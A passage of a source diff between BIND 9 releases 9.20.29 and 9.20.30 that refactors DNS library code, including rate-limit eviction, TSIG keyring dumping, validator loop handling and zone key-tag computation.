NULL, 0, false); - RWUNLOCK(&rpz->rpzs->search_lock, isc_rwlocktype_write); - } + RWLOCK(&rpz->rpzs->search_lock, isc_rwlocktype_write); + adj_trigger_cnt(rpz, rpz_type, NULL, 0, false); + RWUNLOCK(&rpz->rpzs->search_lock, isc_rwlocktype_write); } /* diff -Nru bind9-9.20.29/lib/dns/rrl.c bind9-9.20.30/lib/dns/rrl.c --- bind9-9.20.29/lib/dns/rrl.c 2026-09-11 19:41:01.542331979 +0000 +++ bind9-9.20.30/lib/dns/rrl.c 2026-10-12 13:12:08.457900980 +0000 @@ -40,6 +40,8 @@ #include #include +#define DNS_RRL_MAX_EVICTION_PROBES 64 + static void log_end(dns_rrl_t *rrl, dns_rrl_entry_t *e, bool early, char *log_buf, unsigned int log_buf_len); @@ -565,29 +567,36 @@ } /* - * The entry does not exist, so create it by finding a free entry. - * Keep currently penalized and logged entries. - * Try to make more entries if none are idle. - * Steal the oldest entry if we cannot create more. - */ - for (e = ISC_LIST_TAIL(rrl->lru); e != NULL; e = ISC_LIST_PREV(e, lru)) + * The entry does not exist, so create it by finding a free entry or + * one whose balance has recovered. Limit the search to avoid an + * unbounded walk under rrl->lock. Try to make more entries if none + * are found, or recycle the oldest entry if we cannot create more. + */ + size_t probes_left = DNS_RRL_MAX_EVICTION_PROBES; + for (e = ISC_LIST_TAIL(rrl->lru); e != NULL && probes_left > 0; + e = ISC_LIST_PREV(e, lru), probes_left--) { if (!ISC_LINK_LINKED(e, hlink)) { break; } + age = get_age(rrl, e, now); if (age <= 1) { e = NULL; break; } - if (!e->logged && response_balance(rrl, e, age) > 0) { + + if (response_balance(rrl, e, age) > 0) { break; } } - if (e == NULL) { + + if (e == NULL || probes_left == 0) { expand_entries(rrl, ISC_MIN((rrl->num_entries + 1) / 2, 1000)); e = ISC_LIST_TAIL(rrl->lru); } + + INSIST(e != NULL); if (e->logged) { log_end(rrl, e, true, log_buf, log_buf_len); } @@ -650,7 +659,7 @@ rrl, client_addr, NULL, 0, dns_rdatatype_none, NULL, DNS_RRL_RTYPE_TCP, now, false, log_buf, log_buf_len); if (credit_e != NULL) { - age = get_age(rrl, e, now); + age = get_age(rrl, credit_e, now); if (age < rrl->window) { scale = 1.0; } diff -Nru bind9-9.20.29/lib/dns/sdlz.c bind9-9.20.30/lib/dns/sdlz.c --- bind9-9.20.29/lib/dns/sdlz.c 2026-09-11 19:41:01.542331979 +0000 +++ bind9-9.20.30/lib/dns/sdlz.c 2026-10-12 13:12:08.457900980 +0000 @@ -157,10 +157,6 @@ /* This is a reasonable value */ #define SDLZ_DEFAULT_TTL (60 * 60 * 24) -#ifdef __COVERITY__ -#define MAYBE_LOCK(imp) LOCK(&imp->driverlock) -#define MAYBE_UNLOCK(imp) UNLOCK(&imp->driverlock) -#else /* ifdef __COVERITY__ */ #define MAYBE_LOCK(imp) \ do { \ unsigned int flags = imp->flags; \ @@ -174,7 +170,6 @@ if ((flags & DNS_SDLZFLAG_THREADSAFE) == 0) \ UNLOCK(&imp->driverlock); \ } while (0) -#endif /* ifdef __COVERITY__ */ /* * Forward references. diff -Nru bind9-9.20.29/lib/dns/ssu_external.c bind9-9.20.30/lib/dns/ssu_external.c --- bind9-9.20.29/lib/dns/ssu_external.c 2026-09-11 19:41:01.542331979 +0000 +++ bind9-9.20.30/lib/dns/ssu_external.c 2026-10-12 13:12:08.457900980 +0000 @@ -133,12 +133,12 @@ dns_name_format(identity, b_identity, sizeof(b_identity)); /* For now only local: is supported */ - if (strncmp(b_identity, "local:", 6) != 0) { + sock_path = isc_string_stripprefix(b_identity, "local:"); + if (sock_path == NULL) { ssu_e_log(3, "ssu_external: invalid socket path '%s'", b_identity); return false; } - sock_path = &b_identity[6]; fd = ux_socket_connect(sock_path); if (fd == -1) { diff -Nru bind9-9.20.29/lib/dns/time.c bind9-9.20.30/lib/dns/time.c --- bind9-9.20.29/lib/dns/time.c 2026-09-11 19:41:01.543332003 +0000 +++ bind9-9.20.30/lib/dns/time.c 2026-10-12 13:12:08.458901002 +0000 @@ -162,13 +162,6 @@ RANGE(1, 12, month); RANGE(1, days[month - 1] + ((month == 2 && is_leap(year)) ? 1 : 0), day); -#ifdef __COVERITY__ - /* - * Use a simplified range to silence Coverity warning (in - * arithmetic with day below). - */ - RANGE(1, 31, day); -#endif /* __COVERITY__ */ RANGE(0, 23, hour); RANGE(0, 59, minute); diff -Nru bind9-9.20.29/lib/dns/tkey.c bind9-9.20.30/lib/dns/tkey.c --- bind9-9.20.29/lib/dns/tkey.c 2026-09-11 19:41:01.543332003 +0000 +++ bind9-9.20.30/lib/dns/tkey.c 2026-10-12 13:12:08.458901002 +0000 @@ -223,17 +223,19 @@ CHECK(dst_key_fromgssapi(name, gss_ctx, ring->mctx, &dstkey, &intoken)); - /* - * Limit keys to 1 hour or the context's lifetime whichever - * is smaller. - */ - expire = now + 3600; #if HAVE_GSSAPI gret = gss_context_time(&minor, gss_ctx, &lifetime); - if (gret == GSS_S_COMPLETE && now + lifetime < expire) { + if (gret == GSS_S_COMPLETE) { expire = now + lifetime; - } + } else #endif /* HAVE_GSSAPI */ + { + /* + * Limit keys to 1 hour if the context's lifetime is not + * available. + */ + expire = now + 3600; + } CHECK(dns_tsigkey_createfromkey( name, dns__tsig_algfromname(&tkeyin->algorithm), dstkey, true, false, principal, now, expire, ring->mctx, diff -Nru bind9-9.20.29/lib/dns/tsig.c bind9-9.20.30/lib/dns/tsig.c --- bind9-9.20.29/lib/dns/tsig.c 2026-09-11 19:41:01.543332003 +0000 +++ bind9-9.20.30/lib/dns/tsig.c 2026-10-12 13:12:08.458901002 +0000 @@ -18,6 +18,7 @@ #include #include +#include #include #include #include @@ -275,7 +276,7 @@ } static void -destroyring(dns_tsigkeyring_t *ring) { +dns_tsigkeyring__destroy(dns_tsigkeyring_t *ring) { isc_result_t result; isc_hashmap_iter_t *it = NULL; @@ -301,9 +302,9 @@ } #if DNS_TSIG_TRACE -ISC_REFCOUNT_TRACE_IMPL(dns_tsigkeyring, destroyring); +ISC_REFCOUNT_TRACE_IMPL(dns_tsigkeyring, dns_tsigkeyring__destroy); #else -ISC_REFCOUNT_IMPL(dns_tsigkeyring, destroyring); +ISC_REFCOUNT_IMPL(dns_tsigkeyring, dns_tsigkeyring__destroy); #endif /* @@ -398,43 +399,47 @@ return result; } -static void +static isc_result_t dump_key(dns_tsigkey_t *tkey, FILE *fp) { char *buffer = NULL; int length = 0; char namestr[DNS_NAME_FORMATSIZE]; char creatorstr[DNS_NAME_FORMATSIZE]; char algorithmstr[DNS_NAME_FORMATSIZE]; - isc_result_t result; REQUIRE(tkey != NULL); + REQUIRE(tkey->key != NULL); + REQUIRE(tkey->creator != NULL); REQUIRE(fp != NULL); dns_name_format(tkey->name, namestr, sizeof(namestr)); dns_name_format(tkey->creator, creatorstr, sizeof(creatorstr)); dns_name_format(dns_tsigkey_algorithm(tkey), algorithmstr, sizeof(algorithmstr)); - result = dst_key_dump(tkey->key, tkey->mctx, &buffer, &length); - if (result == ISC_R_SUCCESS) { - fprintf(fp, "%s %s %u %u %s %.*s\n", namestr, creatorstr, + RETERR(dst_key_dump(tkey->key, tkey->mctx, &buffer, &length)); + + int n = fprintf(fp, "%s %s %u %u %s %.*s\n", namestr, creatorstr, tkey->inception, tkey->expire, algorithmstr, length, buffer); + isc_mem_put(tkey->mctx, buffer, length); + + if (n < 0) { + return ISC_R_IOERROR; } - if (buffer != NULL) { - isc_mem_put(tkey->mctx, buffer, length); - } + + return ISC_R_SUCCESS; } -isc_result_t -dns_tsigkeyring_dump(dns_tsigkeyring_t *ring, FILE *fp) { +static isc_result_t +dns_tsigkeyring__dumptofile(dns_tsigkeyring_t *ring, FILE *fp) { + REQUIRE(VALID_TSIGKEYRING(ring)); + REQUIRE(fp != NULL); + isc_result_t result; isc_stdtime_t now = isc_stdtime_now(); isc_hashmap_iter_t *it = NULL; bool found = false; - REQUIRE(VALID_TSIGKEYRING(ring)); - - RWLOCK(&ring->lock, isc_rwlocktype_read); isc_hashmap_iter_create(ring->keys, &it); for (result = isc_hashmap_iter_first(it); result == ISC_R_SUCCESS; result = isc_hashmap_iter_next(it)) @@ -443,14 +448,73 @@ isc_hashmap_iter_current(it, (void **)&tkey); if (tkey->generated && tkey->expire >= now) { - dump_key(tkey, fp); + result = dump_key(tkey, fp); + if (result != ISC_R_SUCCESS) { + tsig_log(tkey, ISC_LOG_WARNING, + "could not dump key: %s", + isc_result_totext(result)); + if (result == ISC_R_IOERROR) { + break; + } + continue; + } found = true; + if (ferror(fp)) { + result = ISC_R_IOERROR; + break; + } } } + if (result == ISC_R_NOMORE) { + result = found ? ISC_R_SUCCESS : ISC_R_NOTFOUND; + } isc_hashmap_iter_destroy(&it); + + return result; +} + +static isc_result_t +dns_tsigkeyring__dump(dns_tsigkeyring_t *ring, const char *keyfile) { + REQUIRE(VALID_TSIGKEYRING(ring)); + REQUIRE(keyfile != NULL); + + FILE *fp = NULL; + char template[PATH_MAX]; + bool created = false; + isc_result_t result; + + RWLOCK(&ring->lock, isc_rwlocktype_read); + + if (isc_hashmap_count(ring->keys) == 0) { + CLEANUP(ISC_R_NOTFOUND); + } + + CHECK(isc_file_mktemplate(keyfile, template, sizeof(template))); + CHECK(isc_file_openuniqueprivate(template, &fp)); + created = true; + + result = dns_tsigkeyring__dumptofile(ring, fp); + + if (fclose(fp) != 0 && result == ISC_R_SUCCESS) { + result = ISC_R_IOERROR; + } + fp = NULL; + CHECK(result); + + CHECK(isc_file_rename(template, keyfile)); + created = false; + +cleanup: + if (fp != NULL) { + (void)fclose(fp); + } + if (created) { + (void)isc_file_remove(template); + } + RWUNLOCK(&ring->lock, isc_rwlocktype_read); - return found ? ISC_R_SUCCESS : ISC_R_NOTFOUND; + return result; } const dns_name_t * @@ -467,6 +531,37 @@ } } +#if DNS_TSIG_TRACE +isc_result_t +dns_tsigkeyring__dumpanddetach(dns_tsigkeyring_t **ringp, const char *keyfile, + const char *func, const char *file, + const unsigned int line) { +#else +isc_result_t +dns_tsigkeyring_dumpanddetach(dns_tsigkeyring_t **ringp, const char *keyfile) { +#endif + REQUIRE(ringp != NULL && VALID_TSIGKEYRING(*ringp)); + REQUIRE(keyfile != NULL); + + dns_tsigkeyring_t *ring = MOVE_OWNERSHIP(*ringp); + isc_result_t result = DNS_R_CONTINUE; + uint_fast32_t refs = isc_refcount_decrement(&ring->references) - 1; + + if (refs == 0) { + isc_refcount_destroy(&ring->references); + + result = dns_tsigkeyring__dump(ring, keyfile); + dns_tsigkeyring__destroy(ring); + } + +#if DNS_TSIG_TRACE + fprintf(stderr, "%s:%s:%s:%u:t%u:%p->references = %" PRIuFAST32 "\n", + __func__, func, file, line, isc_tid(), ring, refs); +#endif + + return result; +} + isc_result_t dns_tsigkey_create(const dns_name_t *name, dst_algorithm_t algorithm, unsigned char *secret, int length, isc_mem_t *mctx, diff -Nru bind9-9.20.29/lib/dns/update.c bind9-9.20.30/lib/dns/update.c --- bind9-9.20.29/lib/dns/update.c 2026-09-11 19:41:01.544332027 +0000 +++ bind9-9.20.30/lib/dns/update.c 2026-10-12 13:12:08.459901023 +0000 @@ -110,47 +110,6 @@ (callback->func)(callback->arg, zone, level, message); } -/*% - * Update a single RR in version 'ver' of 'db' and log the - * update in 'diff'. - * - * Ensures: - * \li '*tuple' == NULL. Either the tuple is freed, or its - * ownership has been transferred to the diff. - */ -static isc_result_t -do_one_tuple(dns_difftuple_t **tuple, dns_db_t *db, dns_dbversion_t *ver, - dns_diff_t *diff) { - dns_diff_t temp_diff; - isc_result_t result; - - /* - * Create a singleton diff. - */ - dns_diff_init(diff->mctx, &temp_diff); - ISC_LIST_APPEND(temp_diff.tuples, *tuple, link); - - /* - * Apply it to the database. - */ - result = dns_diff_apply(&temp_diff, db, ver); - ISC_LIST_UNLINK(temp_diff.tuples, *tuple, link); - if (result != ISC_R_SUCCESS) { - dns_difftuple_free(tuple); - return result; - } - - /* - * Merge it into the current pending journal entry. - */ - dns_diff_appendminimal(diff, tuple); - - /* - * Do not clear temp_diff. - */ - return ISC_R_SUCCESS; -} - static isc_result_t update_one_rr(dns_db_t *db, dns_dbversion_t *ver, dns_diff_t *diff, dns_diffop_t op, dns_name_t *name, dns_ttl_t ttl, @@ -161,7 +120,7 @@ if (result != ISC_R_SUCCESS) { return result; } - return do_one_tuple(&tuple, db, ver, diff); + return dns_diff_applytuple(&tuple, db, ver, diff); } /**************************************************************************/ @@ -708,21 +667,18 @@ static isc_result_t uniqify_name_list(dns_diff_t *list) { isc_result_t result; - dns_difftuple_t *p, *q; + dns_difftuple_t *p, *next; CHECK(dns_diff_sort(list, name_order)); - p = ISC_LIST_HEAD(list->tuples); - while (p != NULL) { - do { - q = ISC_LIST_NEXT(p, link); - if (q == NULL || !dns_name_equal(&p->name, &q->name)) { - break; - } - ISC_LIST_UNLINK(list->tuples, q, link); - dns_difftuple_free(&q); - } while (1); - p = ISC_LIST_NEXT(p, link); + dns_name_t *curr_name = NULL; + ISC_LIST_FOREACH_SAFE(list->tuples, p, link, next) { + if (curr_name == NULL || !dns_name_equal(curr_name, &p->name)) { + curr_name = &(p->name); + } else { + dns_diff_unlink(list, p); + dns_difftuple_free(&p); + } } cleanup: return result; @@ -905,7 +861,7 @@ */ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, name, nsecttl, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&tuple, db, ver, diff)); INSIST(tuple == NULL); cleanup: @@ -932,7 +888,7 @@ dns_rdata_fromregion(&rdata, dns_db_class(db), dns_rdatatype_nsec, &r); CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, name, 0, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&tuple, db, ver, diff)); cleanup: return result; } @@ -1583,9 +1539,8 @@ t->rdata.type == type) { next = ISC_LIST_NEXT(t, link); - ISC_LIST_UNLINK(diff->tuples, t, link); - ISC_LIST_APPEND(state->work.tuples, t, - link); + dns_diff_unlink(diff, t); + dns_diff_append(&state->work, &t); t = next; } } @@ -1593,7 +1548,7 @@ return DNS_R_CONTINUE; } } - ISC_LIST_APPENDLIST(diff->tuples, state->work.tuples, link); + dns_diff_appendlist(diff, &state->work); update_log(log, zone, ISC_LOG_DEBUG(3), "updated data signatures"); @@ -1714,9 +1669,7 @@ CHECK(namelist_append_subdomain(db, &t->name, &state->affected)); } - ISC_LIST_APPENDLIST(state->affected.tuples, - state->diffnames.tuples, link); - INSIST(ISC_LIST_EMPTY(state->diffnames.tuples)); + dns_diff_appendlist(&state->affected, &state->diffnames); CHECK(uniqify_name_list(&state->affected)); @@ -1779,14 +1732,13 @@ &sigs)); } unlink: - ISC_LIST_UNLINK(state->affected.tuples, t, link); - ISC_LIST_APPEND(state->work.tuples, t, link); + dns_diff_unlink(&state->affected, t); + dns_diff_append(&state->work, &t); if (state != &mystate && sigs > maxsigs) { return DNS_R_CONTINUE; } } - ISC_LIST_APPENDLIST(state->affected.tuples, state->work.tuples, - link); + dns_diff_appendlist(&state->affected, &state->work); /* * Now we know which names are part of the NSEC chain. @@ -1828,8 +1780,8 @@ * have to regenerate the RRSIG NSECs for NSECs that were * replaced with identical ones. */ - while ((t = ISC_LIST_HEAD(state->nsec_diff.tuples)) != NULL) { - ISC_LIST_UNLINK(state->nsec_diff.tuples, t, link); + ISC_LIST_FOREACH_SAFE(state->nsec_diff.tuples, t, link, next) { + dns_diff_unlink(&state->nsec_diff, t); dns_diff_appendminimal(&state->nsec_mindiff, &t); } @@ -1858,26 +1810,25 @@ } else { UNREACHABLE(); } - ISC_LIST_UNLINK(state->nsec_mindiff.tuples, t, link); - ISC_LIST_APPEND(state->work.tuples, t, link); + dns_diff_unlink(&state->nsec_mindiff, t); + dns_diff_append(&state->work, &t); if (state != &mystate && sigs > maxsigs) { return DNS_R_CONTINUE; } } - ISC_LIST_APPENDLIST(state->nsec_mindiff.tuples, - state->work.tuples, link); + dns_diff_appendlist(&state->nsec_mindiff, &state->work); FALLTHROUGH; case update_nsec3: state->state = update_nsec3; /* Record our changes for the journal. */ - while ((t = ISC_LIST_HEAD(state->sig_diff.tuples)) != NULL) { - ISC_LIST_UNLINK(state->sig_diff.tuples, t, link); + ISC_LIST_FOREACH_SAFE(state->sig_diff.tuples, t, link, next) { + dns_diff_unlink(&state->sig_diff, t); dns_diff_appendminimal(diff, &t); } - while ((t = ISC_LIST_HEAD(state->nsec_mindiff.tuples)) != NULL) + ISC_LIST_FOREACH_SAFE(state->nsec_mindiff.tuples, t, link, next) { - ISC_LIST_UNLINK(state->nsec_mindiff.tuples, t, link); + dns_diff_unlink(&state->nsec_mindiff, t); dns_diff_appendminimal(diff, &t); } @@ -1988,22 +1939,21 @@ unsecure, privatetype, &state->nsec_diff)); } - ISC_LIST_UNLINK(state->affected.tuples, t, link); - ISC_LIST_APPEND(state->work.tuples, t, link); + dns_diff_unlink(&state->affected, t); + dns_diff_append(&state->work, &t); if (state != &mystate && sigs > maxsigs) { return DNS_R_CONTINUE; } } - ISC_LIST_APPENDLIST(state->affected.tuples, state->work.tuples, - link); + dns_diff_appendlist(&state->affected, &state->work); /* * Minimize the set of NSEC3 updates so that we don't * have to regenerate the RRSIG NSEC3s for NSEC3s that were * replaced with identical ones. */ - while ((t = ISC_LIST_HEAD(state->nsec_diff.tuples)) != NULL) { - ISC_LIST_UNLINK(state->nsec_diff.tuples, t, link); + ISC_LIST_FOREACH_SAFE(state->nsec_diff.tuples, t, link, next) { + dns_diff_unlink(&state->nsec_diff, t); dns_diff_appendminimal(&state->nsec_mindiff, &t); } @@ -2032,23 +1982,22 @@ } else { UNREACHABLE(); } - ISC_LIST_UNLINK(state->nsec_mindiff.tuples, t, link); - ISC_LIST_APPEND(state->work.tuples, t, link); + dns_diff_unlink(&state->nsec_mindiff, t); + dns_diff_append(&state->work, &t); if (state != &mystate && sigs > maxsigs) { return DNS_R_CONTINUE; } } - ISC_LIST_APPENDLIST(state->nsec_mindiff.tuples, - state->work.tuples, link); + dns_diff_appendlist(&state->nsec_mindiff, &state->work); /* Record our changes for the journal. */ - while ((t = ISC_LIST_HEAD(state->sig_diff.tuples)) != NULL) { - ISC_LIST_UNLINK(state->sig_diff.tuples, t, link); + ISC_LIST_FOREACH_SAFE(state->sig_diff.tuples, t, link, next) { + dns_diff_unlink(&state->sig_diff, t); dns_diff_appendminimal(diff, &t); } - while ((t = ISC_LIST_HEAD(state->nsec_mindiff.tuples)) != NULL) + ISC_LIST_FOREACH_SAFE(state->nsec_mindiff.tuples, t, link, next) { - ISC_LIST_UNLINK(state->nsec_mindiff.tuples, t, link); + dns_diff_unlink(&state->nsec_mindiff, t); dns_diff_appendminimal(diff, &t); } diff -Nru bind9-9.20.29/lib/dns/validator.c bind9-9.20.30/lib/dns/validator.c --- bind9-9.20.29/lib/dns/validator.c 2026-09-11 19:41:01.544332027 +0000 +++ bind9-9.20.30/lib/dns/validator.c 2026-10-12 13:12:08.459901023 +0000 @@ -1265,12 +1265,11 @@ return result; } -#define CHAINING(r) (((r)->attributes & DNS_RDATASETATTR_CHAINING) != 0) - /*% - * Returns true if proceeding would stall the SHARED fetch: either the - * fetch cannot advance an alias chain, or an ancestor is already - * resolving the same (name, type). + * Reject validation of the same (name, type) as an ancestor. + * + * DS at a CNAME owner may be needed to prove insecurity. Fetch loops are + * checked by dns_resolver_createfetch(). */ static bool check_deadlock(dns_validator_t *val, dns_name_t *name, dns_rdatatype_t type, @@ -1281,26 +1280,6 @@ } /* - * Validating a chaining CNAME: a fetch at the alias's own - * name cannot advance the chain (no other type can live at - * a CNAME owner, so e.g. the DS/DNSKEY needed for an - * insecurity proof cannot be there) and would only - * self-join the in-flight fetch. A chaining DNAME is - * different: it aliases only the names below its owner, so - * the owner itself may legitimately hold the DNSKEY or DS - * this validation needs (e.g. a DNAME at a zone apex). - */ - if (cur->rdataset != NULL && CHAINING(cur->rdataset) && - cur->rdataset->type == dns_rdatatype_cname) - { - validator_log( - val, ISC_LOG_DEBUG(3), - "fetch would not advance the alias chain: " - "aborting validation"); - return true; - } - - /* * Not a loop: NSEC3 is meta data, so proving a name's * nonexistence can need the NSEC3 RRset that proves it * validated at its own owner name. Allow that when we hold a @@ -1328,8 +1307,6 @@ return false; } -#undef CHAINING - /*% * Start a fetch for the requested name and type. */ @@ -1361,6 +1338,11 @@ fopts, 0, val->qc, val->gqc, val->parent_fetch, val->loop, callback, val, &val->edectx, &val->frdataset, &val->fsigrdataset, &val->fetch); + if (result == DNS_R_LOOPDETECTED) { + validator_log(val, ISC_LOG_DEBUG(3), + "fetch would join a fetch waiting on this " + "validation: aborting validation"); + } if (result != ISC_R_SUCCESS) { dns_validator_detach(&val); } diff -Nru bind9-9.20.29/lib/dns/view.c bind9-9.20.30/lib/dns/view.c --- bind9-9.20.29/lib/dns/view.c 2026-09-11 19:41:01.545332051 +0000 +++ bind9-9.20.30/lib/dns/view.c 2026-10-12 13:12:08.460901045 +0000 @@ -201,6 +201,35 @@ } static void +dumpanddetach_tsigkeys(dns_view_t *view) { + char keyfile[PATH_MAX]; + isc_result_t result; + + REQUIRE(view->dynamickeys != NULL); + + result = isc_file_sanitize(NULL, view->name, "tsigkeys", keyfile, + sizeof(keyfile)); + if (result != ISC_R_SUCCESS) { + dns_tsigkeyring_detach(&view->dynamickeys); + } else { + result = dns_tsigkeyring_dumpanddetach(&view->dynamickeys, + keyfile); + } + + switch (result) { + case ISC_R_SUCCESS: + case DNS_R_CONTINUE: + case ISC_R_NOTFOUND: + break; + default: + isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC, + DNS_LOGMODULE_TSIG, ISC_LOG_INFO, + "failed to dump TSIG keys: %s", + isc_result_totext(result)); + } +} + +static void destroy(dns_view_t *view) { dns_dns64_t *dns64; dns_dlzdb_t *dlzdb; @@ -218,36 +247,7 @@ } if (view->dynamickeys != NULL) { - isc_result_t result; - char template[PATH_MAX]; - char keyfile[PATH_MAX]; - FILE *fp = NULL; - - result = isc_file_mktemplate(NULL, template, sizeof(template)); - if (result == ISC_R_SUCCESS) { - (void)isc_file_openuniqueprivate(template, &fp); - } - if (fp != NULL) { - result = dns_tsigkeyring_dump(view->dynamickeys, fp); - if (result == ISC_R_SUCCESS) { - if (fclose(fp) == 0) { - result = isc_file_sanitize( - NULL, view->name, "tsigkeys", - keyfile, sizeof(keyfile)); - if (result == ISC_R_SUCCESS) { - result = isc_file_rename( - template, keyfile); - } - } - if (result != ISC_R_SUCCESS) { - (void)remove(template); - } - } else { - (void)fclose(fp); - (void)remove(template); - } - } - dns_tsigkeyring_detach(&view->dynamickeys); + dumpanddetach_tsigkeys(view); } if (view->transports != NULL) { dns_transport_list_detach(&view->transports); @@ -2406,8 +2406,8 @@ isc_buffer_init(&b, rdatabuf, sizeof(rdatabuf)); dns_rdata_init(&rdata); isc_buffer_setactive(databuf, isc_buffer_usedlength(databuf)); - CHECK(dns_rdata_fromwire(&rdata, view->rdclass, rdtype, databuf, - DNS_DECOMPRESS_NEVER, &b)); + CHECK(dns_rdata_fromwire(&rdata, view->rdclass, rdtype, databuf, NULL, + &b)); if (rdtype == dns_rdatatype_ds) { CHECK(dns_rdata_tostruct(&rdata, &ds, NULL)); diff -Nru bind9-9.20.29/lib/dns/xfrin.c bind9-9.20.30/lib/dns/xfrin.c --- bind9-9.20.29/lib/dns/xfrin.c 2026-09-11 19:41:01.545332051 +0000 +++ bind9-9.20.30/lib/dns/xfrin.c 2026-10-12 13:12:08.460901045 +0000 @@ -644,8 +644,7 @@ } dns_diff_init(xfr->mctx, &data->diff); - /* FIXME: Should we add dns_diff_move() */ - ISC_LIST_MOVE(data->diff.tuples, xfr->diff.tuples); + dns_diff_appendlist(&data->diff, &xfr->diff); isc_queue_enqueue(&xfr->diff_queue, &data->queue_node); diff -Nru bind9-9.20.29/lib/dns/zone.c bind9-9.20.30/lib/dns/zone.c --- bind9-9.20.29/lib/dns/zone.c 2026-09-11 19:41:01.547332099 +0000 +++ bind9-9.20.30/lib/dns/zone.c 2026-10-12 13:12:08.462901087 +0000 @@ -3156,6 +3156,7 @@ static bool isspf(const dns_rdata_t *rdata) { char buf[1024]; + const char *tail; const unsigned char *data = rdata->data; unsigned int rdl = rdata->length, i = 0, tl, len; @@ -3178,7 +3179,8 @@ } buf[i] = 0; - if (strncmp(buf, "v=spf1", 6) == 0 && (buf[6] == 0 || buf[6] == ' ')) { + tail = isc_string_stripprefix(buf, "v=spf1"); + if (tail != NULL && (*tail == 0 || *tail == ' ')) { return true; } return false; @@ -4265,22 +4267,19 @@ * Compute the DNSSEC key ID for a DNSKEY record. */ static isc_result_t -compute_tag(dns_name_t *name, dns_rdata_dnskey_t *dnskey, isc_mem_t *mctx, - dns_keytag_t *tag) { +compute_tag(dns_rdata_dnskey_t *dnskey, dns_keytag_t *tag) { isc_result_t result; + isc_region_t r; dns_rdata_t rdata = DNS_RDATA_INIT; unsigned char data[4096]; isc_buffer_t buffer; - dst_key_t *dstkey = NULL; isc_buffer_init(&buffer, data, sizeof(data)); CHECK(dns_rdata_fromstruct(&rdata, dnskey->common.rdclass, dns_rdatatype_dnskey, dnskey, &buffer)); - CHECK(dns_dnssec_keyfromrdata(name, &rdata, mctx, &dstkey)); - - *tag = dst_key_id(dstkey); - dst_key_free(&dstkey); + dns_rdata_toregion(&rdata, &r); + *tag = dst_region_computeid(&r); cleanup: return result; @@ -4427,39 +4426,6 @@ } static isc_result_t -do_one_tuple(dns_difftuple_t **tuple, dns_db_t *db, dns_dbversion_t *ver, - dns_diff_t *diff) { - dns_diff_t temp_diff; - isc_result_t result; - - /* - * Create a singleton diff. - */ - dns_diff_init(diff->mctx, &temp_diff); - ISC_LIST_APPEND(temp_diff.tuples, *tuple, link); - - /* - * Apply it to the database. - */ - result = dns_diff_apply(&temp_diff, db, ver); - ISC_LIST_UNLINK(temp_diff.tuples, *tuple, link); - if (result != ISC_R_SUCCESS) { - dns_difftuple_free(tuple); - return result; - } - - /* - * Merge it into the current pending journal entry. - */ - dns_diff_appendminimal(diff, tuple); - - /* - * Do not clear temp_diff. - */ - return ISC_R_SUCCESS; -} - -static isc_result_t update_one_rr(dns_db_t *db, dns_dbversion_t *ver, dns_diff_t *diff, dns_diffop_t op, dns_name_t *name, dns_ttl_t ttl, dns_rdata_t *rdata) { @@ -4469,7 +4435,7 @@ if (result != ISC_R_SUCCESS) { return result; } - return do_one_tuple(&tuple, db, ver, diff); + return dns_diff_applytuple(&tuple, db, ver, diff); } static isc_result_t @@ -4496,8 +4462,8 @@ "old serial, using increment method instead"); } dns_soa_setserial(serial, &addtuple->rdata); - CHECK(do_one_tuple(&deltuple, db, ver, diff)); - CHECK(do_one_tuple(&addtuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&deltuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&addtuple, db, ver, diff)); result = ISC_R_SUCCESS; cleanup: @@ -6373,7 +6339,11 @@ while (result == ISC_R_SUCCESS && count < maxkeys) { pubkey = NULL; dns_rdataset_current(&rdataset, &rdata); - CHECK(dns_dnssec_keyfromrdata(name, &rdata, mctx, &pubkey)); + + result = dns_dnssec_keyfromrdata(name, &rdata, mctx, &pubkey); + if (result != ISC_R_SUCCESS) { + goto next; + } dst_key_setttl(pubkey, rdataset.ttl); if (!is_zone_key(pubkey)) { @@ -8379,7 +8349,7 @@ move_matching_tuples(dns_difftuple_t *cur, dns_diff_t *src, dns_diff_t *dst) { do { dns_difftuple_t *next = find_next_matching_tuple(cur); - ISC_LIST_UNLINK(src->tuples, cur, link); + dns_diff_unlink(src, cur); dns_diff_appendminimal(dst, &cur); cur = next; } while (cur != NULL); @@ -10344,6 +10314,7 @@ dns_keynode_t *keynode = NULL; dns_rdataset_t *dnskeys = NULL, *dnskeysigs = NULL; dns_rdataset_t *keydataset = NULL, dsset; + bool skipped[256] = { false }; INSIST(resp != NULL); @@ -10543,7 +10514,7 @@ RUNTIME_CHECK(result == ISC_R_SUCCESS); dns_keydata_todnskey(&keydata, &dnskey, NULL); - result = compute_tag(keyname, &dnskey, mctx, &keytag); + result = compute_tag(&dnskey, &keytag); if (result != ISC_R_SUCCESS) { /* * Skip if we cannot compute the key tag. @@ -10551,8 +10522,7 @@ */ dns_zone_log(zone, ISC_LOG_ERROR, "Cannot compute tag for key in zone %s: " - "%s " - "(skipping)", + "%s (skipping)", namebuf, isc_result_totext(result)); continue; } @@ -10677,7 +10647,7 @@ continue; } - result = compute_tag(keyname, &dnskey, mctx, &keytag); + result = compute_tag(&dnskey, &keytag); if (result != ISC_R_SUCCESS) { /* * Skip if we cannot compute the key tag. @@ -10685,13 +10655,25 @@ */ dns_zone_log(zone, ISC_LOG_ERROR, "Cannot compute tag for key in zone %s: " - "%s " - "(skipping)", + "%s (skipping)", namebuf, isc_result_totext(result)); continue; } RUNTIME_CHECK(result == ISC_R_SUCCESS); + if (!dns_resolver_algorithm_supported( + zone->view->resolver, keyname, dnskey.algorithm)) + { + if (!skipped[dnskey.algorithm]) { + dns_zone_log(zone, ISC_LOG_INFO, + "Managed keys for '%s' skipping " + "unsupported algorithm %u", + namebuf, dnskey.algorithm); + } + skipped[dnskey.algorithm] = true; + continue; + } + revoked = ((dnskey.flags & DNS_KEYFLAG_REVOKE) != 0); if (matchkey(keydataset, &dnskeyrr)) { @@ -12670,6 +12652,8 @@ goto cleanup; } + isc_netaddr_fromsockaddr(&dstip, ¬ify->dst); + result = notify_createmessage(notify->zone, notify->flags, &message); if (result != ISC_R_SUCCESS) { goto cleanup; @@ -12680,7 +12664,6 @@ key = 